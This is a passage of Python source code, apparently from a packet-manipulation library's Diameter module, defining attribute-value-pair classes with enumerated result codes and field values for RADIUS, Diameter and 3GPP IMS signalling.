"DIAMETER_ERROR_IDENTITY_NOT_REGISTERED", 5004: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED", 5005: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED", 5006: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED", 5007: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE", 5008: "DIAMETER_ERROR_TOO_MUCH_DATA", 5009: "DIAMETER_ERROR_NOT_SUPPORTED_USER_DATA", 5010: "DIAMETER_MISSING_USER_ID", 5011: "DIAMETER_ERROR_FEATURE_UNSUPPORTED", 5041: "DIAMETER_ERROR_USER_NO_WLAN_SUBSCRIPTION", 5042: "DIAMETER_ERROR_W-APN_UNUSED_BY_USER", 5043: "DIAMETER_ERROR_W-DIAMETER_ERROR_NO_ACCESS_INDEPENDENT_SUBSCRIPTION", # noqa: E501 5044: "DIAMETER_ERROR_USER_NO_W-APN_SUBSCRIPTION", 5045: "DIAMETER_ERROR_UNSUITABLE_NETWORK", 5061: "INVALID_SERVICE_INFORMATION", 5062: "FILTER_RESTRICTIONS", 5063: "REQUESTED_SERVICE_NOT_AUTHORIZED", 5064: "DUPLICATED_AF_SESSION", 5065: "IP-CAN_SESSION_NOT_AVAILABLE", 5066: "UNAUTHORIZED_NON_EMERGENCY_SESSION", 5100: "DIAMETER_ERROR_USER_DATA_NOT_RECOGNIZED", 5101: "DIAMETER_ERROR_OPERATION_NOT_ALLOWED", 5102: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_READ", 5103: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_MODIFIED", 5104: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_NOTIFIED", 5105: "DIAMETER_ERROR_TRANSPARENT_DATA_OUT_OF_SYNC", 5106: "DIAMETER_ERROR_SUBS_DATA_ABSENT", 5107: "DIAMETER_ERROR_NO_SUBSCRIPTION_TO_DATA", 5108: "DIAMETER_ERROR_DSAI_NOT_AVAILABLE", 5120: "DIAMETER_ERROR_START_INDICATION", 5121: "DIAMETER_ERROR_STOP_INDICATION", 5122: "DIAMETER_ERROR_UNKNOWN_MBMS_BEARER_SERVICE", 5123: "DIAMETER_ERROR_SERVICE_AREA", 5140: "DIAMETER_ERROR_INITIAL_PARAMETERS", 5141: "DIAMETER_ERROR_TRIGGER_EVENT", 5142: "DIAMETER_BEARER_EVENT", 5143: "DIAMETER_ERROR_BEARER_NOT_AUTHORIZED", 5144: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED", 5145: "DIAMETER_QOS_RULE_EVENT", 5146: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED", 5147: "DIAMETER_ERROR_CONFLICTING_REQUEST", 5401: "DIAMETER_ERROR_IMPI_UNKNOWN", 5402: "DIAMETER_ERROR_NOT_AUTHORIZED", 5403: "DIAMETER_ERROR_TRANSACTION_IDENTIFIER_INVALID", 5420: "DIAMETER_ERROR_UNKNOWN_EPS_SUBSCRIPTION", 5421: "DIAMETER_ERROR_RAT_NOT_ALLOWED", 5422: "DIAMETER_ERROR_EQUIPMENT_UNKNOWN", 5423: "DIAMETER_ERROR_UNKNOWN_SERVING_NODE", 5450: "DIAMETER_ERROR_USER_NO_NON_3GPP_SUBSCRIPTION", 5451: "DIAMETER_ERROR_USER_NO_APN_SUBSCRIPTION", 5452: "DIAMETER_ERROR_RAT_TYPE_NOT_ALLOWED", 5470: "DIAMETER_ERROR_SUBSESSION", 5490: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_NETWORK", 5510: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_ENTITY", 5511: "DIAMETER_ERROR_UNAUTHORIZED_SERVICE", 5530: "DIAMETER_ERROR_INVALID_SME_ADDRESS", 5531: "DIAMETER_ERROR_SC_CONGESTION", 5532: "DIAMETER_ERROR_SM_PROTOCOL", })] class AVP_10415_630 (AVP_FL_V): name = 'AVP Feature-List' avpLen = 16 fields_desc = [AVP_FL_V, FlagsField('val', None, 32, ['SiFC', 'AliasInd', 'IMSRestorationInd', 'b3', 'b4', 'b5', 'b6', 'b7', 'b8', 'b9', 'b10', 'b11', 'b12', 'b13', 'b14', 'b15', 'b16', 'b17', 'b18', 'b19', 'b20', 'b21', 'b22', 'b23', 'b24', 'b25', 'b26', 'b27', 'b28', 'b29', 'b30', 'b31'])] class AVP_10415_701 (AVP_VL_V): name = 'AVP MSISDN' fields_desc = [AVP_VL_V, ISDN('val', None, length_from=lambda pkt:pkt.avpLen - 12)] class AVP_10415_1643 (AVP_VL_V): name = 'AVP A_MSISDN' fields_desc = [AVP_VL_V, ISDN('val', None, length_from=lambda pkt:pkt.avpLen - 12)] # AVP enumerated classes (which could not be defined in AvpDefDict dict below) ############################################################################## class AVP_0_6 (AVP_FL_NV): name = 'Service-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Unknown", 1: "Login", 2: "Framed", 3: "Callback-Login", 4: "Callback-Framed", 5: "Outbound", 6: "Administrative", 7: "NAS-Prompt", 8: "Authenticate-Only", 9: "Callback-NAS-Prompt", 10: "Call Check", 11: "Callback Administrative", 12: "Voice", 13: "Fax", 14: "Modem Relay", 15: "IAPP-Register", 16: "IAPP-AP-Check", 17: "Authorize Only", 18: "Framed-Management", })] class AVP_0_7 (AVP_FL_NV): name = 'Framed-Protocol' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "PPP", 2: "SLIP", 3: "ARAP", 4: "Gandalf", 5: "Xylogics", 6: "X.75", 7: "GPRS PDP Context", 255: "Ascend-ARA", 256: "MPP", 257: "EURAW", 258: "EUUI", 259: "X25", 260: "COMB", 261: "FR", })] class AVP_0_10 (AVP_FL_NV): name = 'Framed-Routing' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "None", 1: "Send routing packets", 2: "Listen for routing packets", 3: "Send and Listen ", })] class AVP_0_13 (AVP_FL_NV): name = 'Framed-Compression' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "None", 2: "IPX header compression", 3: "Stac-LZS compression", }) # noqa: E501 ] class AVP_0_15 (AVP_FL_NV): name = 'Login-Service' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Telnet", 1: "Rlogin", 2: "TCP-Clear", 3: "PortMaster", 4: "LAT", 5: "X25-PAD", 6: "X25-T3POS", 7: "Unassigned", })] class AVP_0_45 (AVP_FL_NV): name = 'Acct-Authentic' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "None", 1: "RADIUS", 2: "Local", 3: "Remote", 4: "Diameter", })] # noqa: E501 class AVP_0_61 (AVP_FL_NV): name = 'NAS-Port-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Async", 1: "Sync", 2: "ISDN-Sync", 3: "ISDN-Async-v120", 4: "ISDN-Async-v110", 5: "Virtual", 6: "PIAFS", 7: "HDLC-Clear-Channel", 8: "X25", 9: "X75", 10: "G.3 Fax", 11: "SDSL - Symmetric DSL", 14: "IDSL - ISDN Digital Subscriber Line", 15: "Ethernet", 16: "xDSL - Digital Subscriber Line of unknown type", 17: "Cable", 18: "Wireless - Other", 19: "Wireless - IEEE 802.11", 20: "Token-Ring", 21: "FDDI", 22: "Wireless - CDMA2000", 23: "Wireless - UMTS", 24: "Wireless - 1X-EV", 25: "IAPP", 26: "FTTP - Fiber to the Premises", 27: "Wireless - IEEE 802.16", 28: "Wireless - IEEE 802.20", 29: "Wireless - IEEE 802.22", 30: "PPPoA - PPP over ATM", 31: "PPPoEoA - PPP over Ethernet over ATM", 32: "PPPoEoE - PPP over Ethernet over Ethernet", 33: "PPPoEoVLAN - PPP over Ethernet over VLAN", 34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ", # noqa: E501 35: "xPON - Passive Optical Network", 36: "Wireless - XGP", })] class AVP_0_64 (AVP_FL_NV): name = 'Tunnel-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "PPTP", 2: "L2F", 3: "L2TP", 4: "ATMP", 5: "VTP", 6: "AH", 7: "IP-IP-Encap", 8: "MIN-IP-IP", 9: "ESP", 10: "GRE", 11: "DVS", 12: "IP-in-IP Tunneling", 13: "VLAN", })] class AVP_0_65 (AVP_FL_NV): name = 'Tunnel-Medium-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "IPv4", 2: "IPv6", 3: "NSAP", 4: "HDLC", 5: "BBN", 6: "IEEE-802", 7: "E-163", 8: "E-164", 9: "F-69", 10: "X-121", 11: "IPX", 12: "Appletalk-802", 13: "Decnet4", 14: "Vines", 15: "E-164-NSAP", })] class AVP_0_72 (AVP_FL_NV): name = 'ARAP-Zone-Access' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "Only allow access to default zone", 2: "Use zone filter inclusively", 3: "Use zone filter exclusively", })] class AVP_0_76 (AVP_FL_NV): name = 'Prompt' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "No Echo", 1: "Echo", }) ] class AVP_0_261 (AVP_FL_NV): name = 'Redirect-Host-Usage' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Don't Care", 1: "All Session", 2: "All Realm", 3: "Realm and Application", 4: "All Application", 5: "All Host", 6: "ALL_USER", })] class AVP_0_271 (AVP_FL_NV): name = 'Session-Server-Failover' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "REFUSE_SERVICE", 1: "TRY_AGAIN", 2: "ALLOW_SERVICE", 3: "TRY_AGAIN_ALLOW_SERVICE", })] # noqa: E501 class AVP_0_273 (AVP_FL_NV): name = 'Disconnect-Cause' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "REBOOTING", 1: "BUSY", 2: "DO_NOT_WANT_TO_TALK_TO_YOU", })] # noqa: E501 class AVP_0_274 (AVP_FL_NV): name = 'Auth-Request-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "AUTHENTICATE_ONLY", 2: "AUTHORIZE_ONLY", 3: "AUTHORIZE_AUTHENTICATE", })] # noqa: E501 class AVP_0_277 (AVP_FL_NV): name = 'Auth-Session-State' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "STATE_MAINTAINED", 1: "NO_STATE_MAINTAINED", })] # noqa: E501 class AVP_0_285 (AVP_FL_NV): name = 'Re-Auth-Request-Type' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "AUTHORIZE_ONLY", 1: "AUTHORIZE_AUTHENTICATE", })] # noqa: E501 class AVP_0_295 (AVP_FL_NV): name = 'Termination-Cause' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 1: "DIAMETER_LOGOUT", 2: "DIAMETER_SERVICE_NOT_PROVIDED", 3: "DIAMETER_BAD_ANSWER", 4: "DIAMETER_ADMINISTRATIVE", 5: "DIAMETER_LINK_BROKEN", 6: "DIAMETER_AUTH_EXPIRED", 7: "DIAMETER_USER_MOVED", 8: "DIAMETER_SESSION_TIMEOUT", })] class AVP_0_345 (AVP_FL_NV): name = 'MIP-Algorithm-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {2: "HMAC-SHA-1", })] class AVP_0_346 (AVP_FL_NV): name = 'MIP-Replay-Mode' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {1: "None", 2: "Timestamps", 3: "Nonces", })] # noqa: E501 class AVP_0_375 (AVP_FL_NV): name = 'SIP-Server-Assignment-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "NO_ASSIGNMENT", 1: "REGISTRATION", 2: "RE_REGISTRATION", 3: "UNREGISTERED_USER", 4: "TIMEOUT_DEREGISTRATION", 5: "USER_DEREGISTRATION", 6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME", 7: "USER_DEREGISTRATION_STORE_SERVER_NAME", 8: "ADMINISTRATIVE_DEREGISTRATION", 9: "AUTHENTICATION_FAILURE", 10: "AUTHENTICATION_TIMEOUT", 11: "DEREGISTRATION_TOO_MUCH_DATA", })] class AVP_0_377 (AVP_FL_NV): name = 'SIP-Authentication-Scheme' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "DIGEST", })] class AVP_0_384 (AVP_FL_NV): name = 'SIP-Reason-Code' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "PERMANENT_TERMINATION", 1: "NEW_SIP_SERVER_ASSIGNED", 2: "SIP_SERVER_CHANGE", 3: "REMOVE_SIP_SERVER", })] class AVP_0_387 (AVP_FL_NV): name = 'SIP-User-Authorization-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "REGISTRATION", 1: "DEREGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })] # noqa: E501 class AVP_0_392 (AVP_FL_NV): name = 'SIP-User-Data-Already-Available' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })] class AVP_0_403 (AVP_FL_NV): name = 'CHAP-Algorithm' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {5: "CHAP with MD5", })] class AVP_0_406 (AVP_FL_NV): name = 'Accounting-Auth-Method' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "PAP", 2: "CHAP", 3: "MS-CHAP-1", 4: "MS-CHAP-2", 5: "EAP", 6: "Undefined", 7: "None", })] # noqa: E501 class AVP_0_416 (AVP_FL_NV): name = 'CC-Request-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "INITIAL_REQUEST", 2: "UPDATE_REQUEST", 3: "TERMINATION_REQUEST", 4: "EVENT_REQUEST", })] # noqa: E501 class AVP_0_418 (AVP_FL_NV): name = 'CC-Session-Failover' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "FAILOVER_NOT_SUPPORTED", 1: "FAILOVER_SUPPORTED", })] # noqa: E501 class AVP_0_422 (AVP_FL_NV): name = 'Check-Balance-Result' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "ENOUGH_CREDIT", 1: "NO_CREDIT", })] # noqa: E501 class AVP_0_426 (AVP_FL_NV): name = 'Credit-Control' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "CREDIT_AUTHORIZATION", 1: "RE_AUTHORIZATION", })] # noqa: E501 class AVP_0_427 (AVP_FL_NV): name = 'Credit-Control-Failure-Handling' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "TERMINATE", 1: "CONTINUE", 2: "RETRY_AND_TERMINATE", })] class AVP_0_428 (AVP_FL_NV): name = 'Direct-Debiting-Failure-Handling' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE_OR_BUFFER", 1: "CONTINUE", })] # noqa: E501 class AVP_0_433 (AVP_FL_NV): name = 'Redirect-Address-Type' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "IPV4_ADDRESS", 1: "IPV6_ADDRESS", 2: "URL", 3: "SIP_URI", })] # noqa: E501 class AVP_0_436 (AVP_FL_NV): name = 'Requested-Action' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "DIRECT_DEBITING", 1: "REFUND_ACCOUNT", 2: "CHECK_BALANCE", 3: "PRICE_ENQUIRY", })] # noqa: E501 class AVP_0_449 (AVP_FL_NV): name = 'Final-Unit-Action' avpLen = 12 fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE", 1: "REDIRECT", 2: "RESTRICT_ACCESS", })] # noqa: E501 class AVP_0_450 (AVP_FL_NV): name = 'Subscription-Id-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "END_USER_E164", 1: "END_USER_IMSI", 2: "END_USER_SIP_URI", 3: "END_USER_NAI", 4: "END_USER_PRIVATE", })] class AVP_0_452 (AVP_FL_NV): name = 'Tariff-Change-Usage' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "UNIT_BEFORE_TARIFF_CHANGE", 1: "UNIT_AFTER_TARIFF_CHANGE", 2: "UNIT_INDETERMINATE", })] # noqa: E501 class AVP_0_454 (AVP_FL_NV): name = 'CC-Unit-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "TIME", 1: "MONEY", 2: "TOTAL-OCTETS", 3: "INPUT-OCTETS", 4: "OUTPUT-OCTETS", 5: "SERVICE-SPECIFIC-UNITS", })] class AVP_0_455 (AVP_FL_NV): name = 'Multiple-Services-Indicator' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "MULTIPLE_SERVICES_NOT_SUPPORTED", 1: "MULTIPLE_SERVICES_SUPPORTED", })] # noqa: E501 class AVP_0_459 (AVP_FL_NV): name = 'User-Equipment-Info-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "IMEISV", 1: "MAC", 2: "EUI64", 3: "MODIFIED_EUI64", })] class AVP_0_480 (AVP_FL_NV): name = 'Accounting-Record-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "Event Record", 2: "Start Record", 3: "Interim Record", 4: "Stop Record", })] # noqa: E501 class AVP_0_483 (AVP_FL_NV): name = 'Accounting-Realtime-Required' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 0: "Reserved", 1: "DELIVER_AND_GRANT", 2: "GRANT_AND_STORE", 3: "GRANT_AND_LOSE", })] # noqa: E501 class AVP_0_494 (AVP_FL_NV): name = 'MIP6-Auth-Mode' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "Reserved", 1: "IP6_AUTH_MN_AAA", })] # noqa: E501 class AVP_0_513 (AVP_FL_NV): name = 'Protocol' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, { 1: "ICMP", 2: "IGMP", 4: "IPv4", 6: "TCP", 17: "UDP", 132: "SCTP", })] # noqa: E501 class AVP_0_514 (AVP_FL_NV): name = 'Direction' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "IN", 1: "OUT", 2: "BOTH", })] class AVP_0_517 (AVP_FL_NV): name = 'Negated' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })] class AVP_0_534 (AVP_FL_NV): name = 'Use-Assigned-Address' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })] class AVP_0_535 (AVP_FL_NV): name = 'Diffserv-Code-Point' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "CS0", 8: "CS1", 10: "AF11", 12: "AF12", 14: "AF13", 16: "CS2", 18: "AF21", 20: "AF22", 22: "AF23", 24: "CS3", 26: "AF31", 28: "AF32", 30: "AF33", 32: "CS4", 34: "AF41", 36: "AF42", 38: "AF43", 40: "CS5", 46: "EF_PHB", 48: "CS6", 56: "CS7", })] class AVP_0_536 (AVP_FL_NV): name = 'Fragmentation-Flag' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "Don't Fragment", 1: "More Fragments", })] # noqa: E501 class AVP_0_538 (AVP_FL_NV): name = 'IP-Option-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "end_of_list", 1: "nop", 2: "security", 3: "loose_source_route", 4: "timestamp", 5: "extended_security", 6: "commercial_security", 7: "record_route", 8: "stream_id", 9: "strict_source_route", 10: "experimental_measurement", 11: "mtu_probe", 12: "mtu_reply", 13: "flow_control", 14: "access_control", 15: "encode", 16: "imi_traffic_descriptor", 17: "extended_IP", 18: "traceroute", 19: "address_extension", 20: "router_alert", 21: "selective_directed_broadcast_mode", 23: "dynamic_packet_state", 24: "upstream_multicast_packet", 25: "quick_start", 30: "rfc4727_experiment", })] class AVP_0_541 (AVP_FL_NV): name = 'TCP-Option-Type' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "EOL", 1: "NOP", 2: "MSS", 3: "WScale", 4: "SAckOK", 5: "SAck", 8: "Timestamp", 14: "AltChkSum", 15: "AltChkSumOpt", 25: "Mood", })] class AVP_0_546 (AVP_FL_NV): name = 'ICMP-Type-Number' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "echo-reply", 3: "dest-unreach", 4: "source-quench", 5: "redirect", 8: "echo-request", 9: "router-advertisement", 10: "router-solicitation", 11: "time-exceeded", 12: "parameter-problem", 13: "timestamp-request", 14: "timestamp-reply", 15: "information-request", 16: "information-response", 17: "address-mask-request", 18: "address-mask-reply", })] class AVP_0_547 (AVP_FL_NV): name = 'ICMP-Code' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "TBD", })] class AVP_0_570 (AVP_FL_NV): name = 'Timezone-Flag' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated('val', None, {0: "UTC", 1: "LOCAL", 2: "OFFSET", })] # noqa: E501 class AVP_0_575 (AVP_FL_NV): name = 'QoS-Semantics' avpLen = 12 fields_desc = [ AVP_FL_NV, Enumerated( 'val', None, { 0: "QoS_Desired", 1: "QoS_Available", 2: "QoS_Delivered", 3: "Minimum_QoS", 4: "QoS_Authorized", })] class AVP_10415_500 (AVP_FL_V): name = 'Abort-Cause' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "BEARER_RELEASED", 1: "INSUFFICIENT_SERVER_RESOURCES", 2: "INSUFFICIENT_BEARER_RESOURCES", })] class AVP_10415_511 (AVP_FL_V): name = 'Flow-Status' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "ENABLED-UPLINK", 1: "ENABLED-DOWNLINK", 2: "ENABLED", 3: "DISABLED", 4: "REMOVED", })] # noqa: E501 class AVP_10415_512 (AVP_FL_V): name = 'Flow-Usage' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "RTCP", 2: "AF_SIGNALLING", })] # noqa: E501 class AVP_10415_513 (AVP_FL_V): name = 'Specific-Action' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 1: "CHARGING_CORRELATION_EXCHANGE", 2: "INDICATION_OF_LOSS_OF_BEARER", 3: "INDICATION_OF_RECOVERY_OF_BEARER", 4: "INDICATION_OF_RELEASE_OF_BEARER", 6: "IP-CAN_CHANGE", 7: "INDICATION_OF_OUT_OF_CREDIT", 8: "INDICATION_OF_SUCCESSFUL_RESOURCES_ALLOCATION", 9: "INDICATION_OF_FAILED_RESOURCES_ALLOCATION", 10: "INDICATION_OF_LIMITED_PCC_DEPLOYMENT", 11: "USAGE_REPORT", 12: "ACCESS_NETWORK_INFO_REPORT", })] class AVP_10415_520 (AVP_FL_V): name = 'Media-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "AUDIO", 1: "VIDEO", 2: "DATA", 3: "APPLICATION", 4: "CONTROL", 5: "TEXT", 6: "MESSAGE", 4294967295: "OTHER", })] class AVP_10415_523 (AVP_FL_V): name = 'SIP-Forking-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "SINGLE_DIALOGUE", 1: "SEVERAL_DIALOGUES", })] class AVP_10415_527 (AVP_FL_V): name = 'Service-Info-Status' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "FINAL_SERVICE_INFORMATION", 1: "PRELIMINARY_SERVICE_INFORMATION", })] # noqa: E501 class AVP_10415_529 (AVP_FL_V): name = 'AF-Signalling-Protocol' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "SIP", })] class AVP_10415_533 (AVP_FL_V): name = 'Rx-Request-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "UPDATE_REQUEST", })] # noqa: E501 class AVP_10415_536 (AVP_FL_V): name = 'Required-Access-Info' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "USER_LOCATION", 1: "MS_TIME_ZONE", })] # noqa: E501 class AVP_10415_614 (AVP_FL_V): name = 'Server-Assignment-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "NO_ASSIGNMENT", 1: "REGISTRATION", 2: "RE_REGISTRATION", 3: "UNREGISTERED_USER", 4: "TIMEOUT_DEREGISTRATION", 5: "USER_DEREGISTRATION", 6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME", 7: "USER_DEREGISTRATION_STORE_SERVER_NAME", 8: "ADMINISTRATIVE_DEREGISTRATION", 9: "AUTHENTICATION_FAILURE", 10: "AUTHENTICATION_TIMEOUT", 11: "DEREGISTRATION_TOO_MUCH_DATA", 12: "AAA_USER_DATA_REQUEST", 13: "PGW_UPDATE", })] class AVP_10415_616 (AVP_FL_V): name = 'Reason-Code' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PERMANENT_TERMINATION", 1: "NEW_SERVER_ASSIGNED", 2: "SERVER_CHANGE", 3: "REMOVE_S-CSCF", })] class AVP_10415_623 (AVP_FL_V): name = 'User-Authorization-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "REGISTRATION", 1: "DE_REGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })] # noqa: E501 class AVP_10415_624 (AVP_FL_V): name = 'User-Data-Already-Available' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })] class AVP_10415_633 (AVP_FL_V): name = 'Originating-Request' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ORIGINATING", })] class AVP_10415_638 (AVP_FL_V): name = 'Loose-Route-Indication' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LOOSE_ROUTE_NOT_REQUIRED", 1: "LOOSE_ROUTE_REQUIRED", })] # noqa: E501 class AVP_10415_648 (AVP_FL_V): name = 'Multiple-Registration-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NOT_MULTIPLE_REGISTRATION", 1: "MULTIPLE_REGISTRATION", })] class AVP_10415_650 (AVP_FL_V): name = 'Session-Priority' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "PRIORITY-0", 1: "PRIORITY-1", 2: "PRIORITY-2", 3: "PRIORITY-3", 4: "PRIORITY-4", })] # noqa: E501 class AVP_10415_652 (AVP_FL_V): name = 'Priviledged-Sender-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "NOT_PRIVILEDGED_SENDER", 1: "PRIVILEDGED_SENDER", })] class AVP_10415_703 (AVP_FL_V): name = 'Data-Reference' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "RepositoryData", 1: "Undefined", 2: "Undefined", 3: "Undefined", 4: "Undefined", 5: "Undefined", 6: "Undefined", 7: "Undefined", 8: "Undefined", 9: "Undefined", 10: "IMSPublicIdentity", 11: "IMSUserState", 12: "S-CSCFName", 13: "InitialFilterCriteria", 14: "LocationInformation", 15: "UserState", 16: "ChargingInformation", 17: "MSISDN", 18: "PSIActivation", 19: "DSAI", 20: "Reserved", 21: "ServiceLevelTraceInfo", 22: "IPAddressSecureBindingInformation", 23: "ServicePriorityLevel", 24: "SMSRegistrationInfo", 25: "UEReachabilityForIP", 26: "TADSinformation", 27: "STN-SR", 28: "UE-SRVCC-Capability", 29: "ExtendedPriority", 30: "CSRN", 31: "ReferenceLocationInformation", })] class AVP_10415_705 (AVP_FL_V): name = 'Subs-Req-Type' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Subscribe", 1: "Unsubscribe", })] # noqa: E501 class AVP_10415_706 (AVP_FL_V): name = 'Requested-Domain' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "CS-Domain", 1: "PS-Domain", })] class AVP_10415_707 (AVP_FL_V): name = 'Current-Location' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "DoNotNeedInitiateActiveLocationRetrieval", 1: "InitiateActiveLocationRetrieval", })] # noqa: E501 class AVP_10415_708 (AVP_FL_V): name = 'Identity-Set' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "ALL_IDENTITIES", 1: "REGISTERED_IDENTITIES", 2: "IMPLICIT_IDENTITIES", 3: "ALIAS_IDENTITIES", })] class AVP_10415_710 (AVP_FL_V): name = 'Send-Data-Indication' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "USER_DATA_NOT_REQUESTED", 1: "USER_DATA_REQUESTED", })] # noqa: E501 class AVP_10415_712 (AVP_FL_V): name = 'One-Time-Notification' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_NOTIFICATION_REQUESTED", })] # noqa: E501 class AVP_10415_714 (AVP_FL_V): name = 'Serving-Node-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "ONLY_SERVING_NODES_REQUIRED", })] # noqa: E501 class 